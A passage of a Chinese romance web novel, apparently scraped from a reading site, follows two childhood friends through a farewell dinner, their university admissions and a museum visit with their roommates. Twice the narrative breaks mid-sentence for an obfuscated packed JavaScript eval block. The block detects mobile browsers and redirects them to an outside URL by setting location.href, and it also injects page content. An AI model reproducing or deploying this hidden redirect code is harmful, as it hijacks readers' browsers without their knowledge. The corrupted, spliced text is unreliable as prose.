祁苑想想也是,翻到后面,指着那张照片问道:“这是在哪儿拍的?” 陈颂声看过去,画面很空,他们牵着一只狼狗,站在一片开满鲜花的地方,右上角有一棵形状很奇怪的树。 形状很奇怪的树? 他觉得眼熟,看向身后,它就在仓库的旁边。那不就是他们现在待的地方吗?那棵树还是当年的样子,形状位置丝毫未变。 有种说不出的感觉。 同样的两个人,就坐在同样的位置,中间隔了十年,就好像两个时空重叠在了一起。 陈颂声伸出手替她合上了相册,语气和以往有些许不同:“我考完了,两年后是你,现在有什么想法吗?比如,想要考到哪里?” 他很清楚,这个问题对她来说还早,可他还是忍不住想问,毕竟两年说长不长,说短不短,不知不觉它就过去了。 提到这个,祁苑的眼睛里折射出希望,她望着前面的湖水,缓缓说道:“暂时没有具体打算,但我想去江南,很想很想……” “想去看看江南的山水,体会江南的风土人情,亲眼看一看文人墨客笔下的江南究竟有多美。如果能在那儿上大学,一定会是一次很不错的体验。” 陈颂声安静地听着她,将自己的憧憬与期盼娓娓道来,他垂眸笑道:“江南很好,你已经有大致方向了。” 15. 半生 八月初,陈颂声顺利拿到了云港医科大学的录取通知书,父母欲在月底为他举办升学宴,却被他拒绝了。 中旬,张录传来消息,称再过几天就要去外地读书了,去他父母工作的城市,以后可能不会经常回来了,说要请他们吃饭,于是三人约在了那家粤菜馆。 “学体育?”祁苑和陈颂声异口同声道。 “是啊,以后说不定能回云港来当个体育老师。” 说完,张录歪过身子上下打量起陈颂声,撇起嘴“啧”了一声道:“我说陈哥啊,说好来给我饯行,你这穿一身黑是真打算把我送走啊?” 陈颂声踢了他一脚:“瞎说什么?” 张录贱贱一笑,打了个响指,对端菜上楼的服务员说道:“麻烦拿几瓶啤酒。” 又对陈颂声说:“要走了,陪兄弟喝两杯。” 陈颂声说了句“行”,随后把那瓶椰汁放到了祁苑的手边:“你喝椰汁吧。” 祁苑乖乖点头。 服务员拿了一箱啤酒上来,张录把他和陈颂声的杯子推到一边:“杯子什么的太磨叽了,咱直接拿瓶子干!” 念在他要走了的份上,陈颂声没有拒绝,拿起了酒瓶。 张录平日里话就多,喝了酒后嘴巴更是说个不停,出去念个书却像是以后再也见不着了一般,两瓶酒下肚后开始上头了,对他们说了一大段的掏心话。 祁苑吃着菜,喝着椰汁,作为桌上唯一的未成年,她插不上话。 饭桌上的菜有三分之二是祁苑吃的,那一箱的啤酒被他们喝的一瓶不剩。中途她有劝过让两个人少喝点,开始还听,结果聊到后面一瓶接着一瓶,她根本拉不住。 最后张录坐在路灯下,抱着电线杆儿哭了十几分钟,边哭边打电话给他手底下的一个兄弟,人家坐在理发店里染头发染到一半,尽职尽责地开着小电驴过来把他驮走了。 剩下两个人站在路边,看着张录向他们招着手,渐行渐远。 陈颂声喝的没有张录多,但也没少到哪儿去,祁苑扶着他的胳膊不敢撒手,虽然散发着一身的酒味,但他眼睛里的光依旧清澈。 他睨了祁苑一眼,没有说话,似与清醒时无异。 祁苑看了回去。 从下午见到他开始,已经几个小时过去了,吃饭前张录说他一身黑,她没怎么在意,这会儿才注意到他今天很是不同。 从前陈颂声几乎都是一身浅色系的衣服,而今天却穿了一件崭新的黑色衬衫,领口处解开了两粒扣子,她的视线从脸不受控制地向下移去,精致的锁骨若隐若现。 她还没意识到自己在干什么,回过神时迅速烧红了脸,假装什么都没看到,两只眼珠子缓慢地往边上挪去。 似是窥探到她心中所想,陈颂声勾起嘴角笑道:“好看吗?” 她迟迟不敢把脸转回来:“不好看。” “那刚刚脸红什么?” “我热。” “不敢看我?”陈颂声继续逗她。 祁苑不服气地转过来,瞪着他道:“谁不敢看你?” 暖黄色的灯光打在陈颂声半边脸上,浓密的睫毛又黑又长,半昏半明中,五官轮廓精致俊秀,仿佛属于少年的稚气在一夕之间尽数褪去。 两人对视了好几秒,那双眼睛把祁苑看愣了神,她松开扶他的手,退后两步赌气般说道:“没醉就自己走!” 陈颂声把胳膊放回到她手边:“走不了,摔了怎么办?” “摔了自己爬回去!” “十几年的感情了,大晚上的你就忍心看我爬回去?”他碰了碰她的手说。 陈颂声看祁苑还是不理他,又把手往前递了递:“喏。” 祁苑没好气地抓住,拽了他大步流星地往前走。 他一个踉跄,连忙道:“慢点慢点。” “嫌慢自己走!”祁苑嘴上嫌弃,实际上却放小了步子。 “去江边走走吧。”陈颂声提议道。 祁苑的眉心动了动:“都这样了,还敢提要求?” “散散酒味,不然回去会被骂死的。”他可怜兮兮地说道。 祁苑气不打一处来:“知道还喝那么多,不骂你骂谁?” “成年了。”他说。 “那又怎么样,还不是要挨骂?”祁苑补了一刀。 “你一定要好好学习。”陈颂声静默了好一会儿,冒出一句。 祁苑叹气,看着他说:“不用你操心,你还是多担心担心你自己吧,想想回去怎么才能不挨骂。” 陈颂声耳边像有什么东西隔绝了外界,祁苑说什么他是一点儿没听进去,絮絮叨叨地说:“江南多好,江南那么美,你不好好学习怎么考的过去?在云港待了十几年,出去看看也好,总不能一辈子困在这儿吧……” 祁苑眼睛里写满了疑惑,她听不明白,不明白他为什么要提起这件事,她也就说说而已,两年后的事谁知道呢? “听你这语气,是不想我走?” 面对祁苑的反问,陈颂声满不在乎道:“瞎说,要是把你留在云港,耽误你将来干一番大事业,我罪过就大了。” 祁苑:“你不是就留在云港了吗?” “我恋旧啊,不想走。女孩子就应该多出去走一走,看看咱们祖国的大好河山。” 陈颂声一张嘴,祁苑还以为是她爸爸回来了,大道理实在听不下去,赶紧抬手捂住了他的嘴:“喝了酒话真多。” 那天他们是怎么回去的,几点回去的,谁也记不清了。 - 陈颂声开学比祁苑晚一个星期,是他爸妈开车送他去学校的,而她因为上课所以没能去送他,只能在下课的时候抽出空来给他发信息。 陈颂声已经到了,他在校园里拍了张照片发给了她。 她回了一条“收到”。 云医大自九月初起,开始了大一新生为期半个月的军训。 祁苑步入高二,文理分科时她毫不犹豫地选了理科,幸运的是,由陈扬继续担任她的班主任。这样也好,有个人监督着她,她不至于让自己太过松懈。 军训结束以后的第一个周末,陈颂声约祁苑到庭风江散散步。 祁苑临时有事耽搁了一会儿,待她火急火燎地赶到时,发现陈颂声身边站了一个陌生的面孔。 那是个戴着眼镜的男生,穿着简单的白T,他浑身散发出来的独特气质让她第一个想到的人是陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447577|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂声他爸,陈扬。 因为这个人属于女生一眼就会很喜欢的那种学霸长相,比较干净斯文。 陈颂声向她招招手:“这里。” 她冲他跑了过去,那个男生的反应告诉她,她的出现似乎有些出乎了他的意料。 他看看祁苑,又看看陈颂声,凑到耳边问道:“你怎么不早说你朋友是个姑娘啊。” “你又没问我。”陈颂声瞥他。 祁苑走近后,男生向她伸出了手:“你好,我是他室友,我叫令狐克清。” 令狐克清? 祁苑和他握了握手,道:“你好,我叫祁苑。” 她属实被这个名字惊艳住了:“你的名字好特别啊。” “特别奇怪是不是?” 祁苑摇摇头说:“不不不,很好听。” 虽然是第一面,但令狐克清很喜欢这个有品位的小姑娘,眼睛直冒光地对身边人问道:“这是你女朋友?” !!! 这个称呼让祁苑猛地抬起了头,陈颂声深吸了一口气:“谁告诉你的?她是我……朋友,十七年的好朋友。” 令狐克清似乎听懂了:“这么说来,你俩穿开裆裤那会儿就认识了?” ? 这么一张俊俏的脸,是怎么说出这么不文雅的话来的? “……可以这么说吧。” 陈颂声懒得和他纠结这些形容词了,话糙理不糙。 “不应该啊,我看你俩长的挺像的。”令狐克清摸着下巴思考道。 祁苑和陈颂声同时转头盯住了他。 什么?居然觉得他俩长挺像? 像什么?像兄妹? 他这个想法挺刑的。 令狐克清才反应过来,知道自己话没说清楚,容易产生歧义,他又特意解释道:“我说长得像不是你们理解的那个意思,我是想说……” 挺有夫妻相。 这五个字卡在嘴边,被陈颂声硬生生地打断了:“想好了再说。” 令狐克清一阵迟疑,随即对祁苑抱以最温柔的微笑:“我是想说你俩长的都好看,一眼看上去就挺配的。” 那就权当他是在夸她了。 祁苑笑笑,回道:“谢谢。” 说话间,斜对面的马路边停下一辆黑色宾利,打着双闪。 陈颂声拍拍他的背,转移话题道:“你快看看,那是不是你家的车?” 那确实是他家的宾利。 令狐克清的家住在江南一带,离云港有五百多公里,衣食无忧的少爷长这么大第一次出远门,一家子不辞辛苦地跑来看望他。 他爸妈坐在车子的前面,他的姐姐就坐在后座,并且已经看到了他,姐姐打开窗户伸出了头招呼他过去,能够看出来打扮的十分洋气。 “你们聊,我先走一步!” 几分钟后,车子开走了,只留下一串汽车尾气。 祁苑:“你这位室友,是个富二代?” 陈颂声:“严格来说,是个脑回路清奇的富二代。” 祁苑:“怎么说?” 陈颂声:“上天除了赐给他很多珍贵的东西,还给了他一张能把死人给说活的嘴。” 16. 心跳 每经历一次考试,祁苑的英语都在龟速提升,陈颂声问她还需不需要他来帮忙恶补一下,她说:“我自己还可以再挣扎挣扎。” 高二的课程开始紧凑起来,祁苑在教室里从早坐到晚,她也开始为还未到来的高考焦虑了起来,根本没办法集中注意力,作业的错误率比以前高了许多,还几次被陈扬叫去办公室谈话。 她渐渐地尝试去调整自己的状态,寻找适合自己的放松方式。 一次考试,祁苑的作文拿了全年级的最高分,语文老师在课上评讲试卷,讲到一半把她单拎出来狠狠地夸奖了一番。 几天后,学校组织了一场主题征文大赛,每个班至少要派出两名学生参加,老师第一个便推荐了祁苑,她也不负众望地拿了个一等奖回来。 一天课后,赵书琳拿了一本外国作家写的小说来找她,向她推荐道:“这本书写的太好了,你一定要看看。” 祁苑不再把自己关在题海里,学累了就翻开这本小说,读个两三页就算是学习之余的消遣了,在不知不觉中,潜移默化地对她产生了影响。 她做题感到大脑有些疲倦时,就会在一旁的草稿纸上写一些东西。再到后来,她的脑子里偶尔会有陌生字句一闪而过,那时,她便会掏出笔将那些东西记录下来。 有时候是一个字,有时候是一个词,一句话,甚至是一段话,越来越长。 学校引进了茶文化,在广场那边举办了茶文化展览,出于好奇,祁苑也去看了,她看到桌子上的一套青绿色的茶具,顿时联想到了一幅画面。 雨后的雾笼青山,林中新竹。 回去后,她在笔记本上将脑中画面一一记下。 高二快要结束的那段时间,祁苑将一篇三千余字的微小说整理了出来,适时学校与校外报刊有合作,经老师推荐,祁苑的作品登上了那期晚报,获得了八百元的稿费。 作品刊登的那天,老师把她叫到面前,语重心长地说道:“祁苑,你在写作这方面很有天赋,千万要珍惜自己的羽毛。” 可那次之后,她始终对自己写出来的东西无法满意,仿佛那股天赋突然消失了。 但是她养成了阅读的习惯,每天晚上临睡前都会看半个小时的书。 陈颂声知道后,高三那年她过生日,他精心挑选了一本书送给她,还在学校附近的礼品店定制了一枚金属书签。 三月份开始,祁苑全心全意准备高考。 查分那天,祁苑在烧烤店上班,刘姐听到她考了五百七十六分,高兴坏了,宣布当天店内全场五折优惠。 晚上陈颂声带她去吃了烤鱼。 “分数告诉叔叔了吗?” “嗯,小叔比我还激动。”祁苑觉得碗里的烤鱼吃着香的很。 祁苑家里没有电脑,她在小叔的陪同下去附近的网吧填报志愿。 “想好了吗?”祁昌阳问她。 祁苑望着那一栏填下的“清江大学”,点头道:“想好了。” 从填报志愿一直到拿到录取通知书,陈颂声都没有来问她,即便祁苑主动提起,他也会立刻岔开这个话题。 以至于祁苑将通知书内页拍照发给他的那一刻,他整个人都是懵的,对着手机上那张图看了又看。 才确定上面写的是——云港理工大学。 陈颂声打电话过去:“不是说想报清江大学吗?” 她坐在书桌前,把玩着那枚书签说:“人家没录取我呗。” 其实,清江大学是她的第二志愿,云港理工大学才是她的第一志愿。 江南是她的向往,云港才是她的归属。 云港市的两所大学之间相距十三公里,车程不过才二十分钟,但云理工比云医大要离家更近。 祁昌阳很是不舍地把祁苑送上了车,一辈子没流过几滴眼泪的他老泪纵横道:“要是想家了就给叔打个电话,你一个小女孩子在外面可别受人欺负了。” 祁苑看见小叔这副样子,心里也很难受,抱了抱他安慰道:“学校离家又不远,周末有空的话会回来陪您的。” - 学校的宿舍分为双人间,四人间和六人间,祁苑学的是食品学,很幸运地被分到了双人间。 祁苑安顿下来后,得知学校有勤工助学名额,于是她去申请到了一份图书管理员的工作,她查了课表,周三和周四这两天下午没课,正好可以去图书馆干干活。 她去提交申请材料的路上,陈颂声发信息约她周五上午去西城区的汉王陵博物馆。 祁苑从图书馆回来洗了个澡,室友安婧也从外面回来了,怀里抱了两份炒河粉。 “苑苑。” 这位室友可是一位标致的大美人儿,黑长直,小梨涡,温柔似水,报到那天见她的第一面,祁苑就说了自己要是个男的,肯定得深深地爱上她。 奈何人家早就有对象了,两家门对门,今年刚谈的。 方才下了小雨,安婧没有带伞就出去了,身上的衣服有些湿,她把炒河粉放下,头上多了一条干毛巾。 祁苑帮她擦着头发,说:“看不出来啊,你这小身板儿能吃两份炒河粉?” 安婧拆开袋子:“什么呀,寝室就咱们两个人,所以我男朋友买了两份,这还有一份是你的。” “那多不好意思啊,你谈个对象我还能占着便宜。”她把毛巾挂回去道。 安婧涂上护手霜,眨了眨眼睛:“跟我客气什么?” 两人面对面坐着吃着炒河粉,安婧从旁拿起一张宣传单:“苑苑,西城区那个汉王陵博物馆你去过没?” “没有。” 安婧看着宣传单,念出了上面的一行字:“考古团队四个月前于郊外发现一处夫妻同冢异穴合葬墓,出土多件珍贵文物……” 说起来也挺巧的,她们俩对历史和考古这块儿都挺感兴趣,有很多的共同话题,安婧还告诉她,她小时候的梦想是成为一名考古学家。她一开始想学考古来着的,却遭到了父母的强烈反对。 “好好的一个漂漂亮亮的小姑娘,非去那鸟不拉屎的地方挖人家坟干嘛?” 这是她父母的原话。 “苑苑,咱们周五早上去看看吧,那天上午没课。”安婧甩了甩单子,兴致勃勃地说道。 祁苑塞了满满一口的河粉,愣住了:“我……” 安婧猜到了:“有人约你了?” 祁苑想了想,陈颂声约她去博物馆肯定是冲着看文物去的,多一个人,他应该不会介意:“没关系,一起去吧。” “放心,到那儿之后你聊你们的,我看我的,绝对不打扰。” 她们不知道的是,一场大战一触即发。 明明是工作日的上午,博物馆里却人满为患,进去参观需要提前两天在线上预约,许多人无功而返。 还好那张宣传单上有写,她们看到了。 到了博物馆门口,陈颂声告诉她他在一号展厅,扫码进场后,她们随着指示牌找到了一号展厅。 祁苑努力寻找着陈颂声的身影,身旁的安婧停下不走了,她死死地盯着前面一个人的后背,那人正背对着她们站在展柜前欣赏一件黑色长矛。 祁苑伸手要去拉她,她走上前轻拍了下那人的肩膀,那人转过身,一惊:“婧婧!你怎么在这儿?” 祁苑跟在后面也看傻眼了,出声道:“少爷?你怎么会在这儿?” 三个人面面相觑,你看我我看你,场面极度的尴尬,这时,走过来一个人,让场面变得更加尴尬:“祁苑。” 祁苑回头,陈颂声从展厅入口的方向走了过来,四个人都不约而同地看向了那个让自己感到意外的人。 祁苑持续懵圈中,不忘向陈颂声介绍道:“这是我室友,安婧。” 令狐克清也没搞清楚状况,指了指陈颂声对安婧说道:“这是我室友,陈颂声。” ? 所以现在是什么情况? 陈颂声这边也多了个人,完全是因为这个人死缠烂打,他被烦得不行,实在是没办法了才…… 某人早上在他准备出门那会儿,一把鼻涕一把泪地冲他喊:“宿舍其他两个都和女朋友约会去了,我家那位也和室友出去玩懒得搭理我,你总不能抛下兄弟不管吧?” 祁苑和陈颂声不知道该说什么好了,谁能告诉他们,这俩是什么时候处的对象?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447578|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁苑急需一个解释:“他就是你说的那个住在对门儿的……” “是啊。”安婧点头。 这么离谱吗? 他们两个也没想到对方都带了个人过来,也没想到会有这层关系。 四个人僵持不下,陈颂声把祁苑扯到身边说,对那两个人说:“正好,两两一组,你俩就当来这儿约会,然后我和祁苑就不打扰你们了。” 他抓住祁苑的手腕往二号展厅走去。 今天这趟博物馆之行带来的意外之喜挺多的,但好像并没有造成什么影响。他们俩默契地没有提起对方的室友,真的是在认真地参观欣赏展厅里摆出的文物。 参观到五号展厅时,他们听到有工作人员拿着喇叭在说话,游客都被吸引了过去,又有很多人散开,似乎不太感兴趣。 他们过去一瞧,工作人员的身后有一块心形的板子,上面有一些游客的签名,工作人员说:“本馆现正举办‘时空相印’活动,但凡是前来参观的情侣游客,在板上签下你们的名字,即可免费获得一本汉历史纪念画册。” 闻言,两人正要走,令狐克清和安婧手牵着手从另一边过来了,令狐克清挡住他们的去路:“免费的画册怎么不去领?” “人家要的是情侣游客,我们又不是。”祁苑回道。 安婧说:“你们就往那儿一站,谁知道你们是不是情侣?又不会真的去查。” 汉历史纪念画册,祁苑其实挺心动的。 但是吧…… 祁苑很犹豫。 “你想要吗?”陈颂声轻声询问道。 “嗯?” “画册。” “……想要。”她回答。 最后一个字刚落下,令狐克清就推着他俩往板子那儿走:“走走走,咱一起去。” 排在他们前面的情侣取了笔去板子那里写名字,陈颂声一把把祁苑搂进了怀里,祁苑的大脑一片空白。 工作人员热情地招呼他们:“你好,请问你们是情侣吗?” 陈颂声脸不红心不跳地说:“是。” “二位去签个名,就能领取画册了。” 到了板子前,陈颂声才松开了手,他们一言不发地签下了自己的名字。 见他们写完,工作人员将画册递到了祁苑的手里:“拿好,您的画册。” “谢谢。”两个人同时出声道。 远离了人群,陈颂声望着她道:“那我们去下一个展厅吧。” “好。” 进入六号展厅,左侧第一个展柜中摆着一件完好的金缕玉衣,而它旁边的展柜里则是一件长约三十厘米的铜铍,距今已有两千多年的历史。 陈颂声同她说起了话:“听令狐说,你室友本来是要学考古的?” “对,我也觉得考古挺有意义的,把那些尘封千年的历史展现在后人眼前……”祁苑的面前是一架破损的古琴,她看入了迷。 博物馆每天只开放四个半小时,上午仅仅两个小时。 快到闭馆的时间,祁苑和安婧才意犹未尽地走出了博物馆的大门。 天又开始下雨了,陈颂声和祁苑各带了一把伞,令狐克清朝陈颂声伸出手,比划了两下,被他一巴掌打了回去。 令狐克清摸了摸打回的手说:“咱们两个大男人打一把伞?遮不住啊,必得有一个人要淋雨。” 陈颂声用冷漠的口吻说道:“肯定不是我淋。” “你这人怎么这么无情无义!”令狐克清喊着,眼珠一转,夺下了祁苑的伞,两个女生一齐怔在原地。 他厚着脸皮说道:“别看我,我是打不过他,所以只能来抢你的了。你听我说啊,我和婧婧打一把伞,你和陈哥打一把伞,多好啊,问题不就解决了吗?” 祁苑看了眼陈颂声,咳了一声,伸手道:“伞还我。” “别啊,苑姐,求你了。” 令狐克清不要脸的时候是真的很不要脸。 祁苑握起拳头想打人,他都多大岁数了,居然好意思喊她姐? “你们俩别闹了。”陈颂声出声打断了这一幕。 他看向祁苑,说:“过来吧。”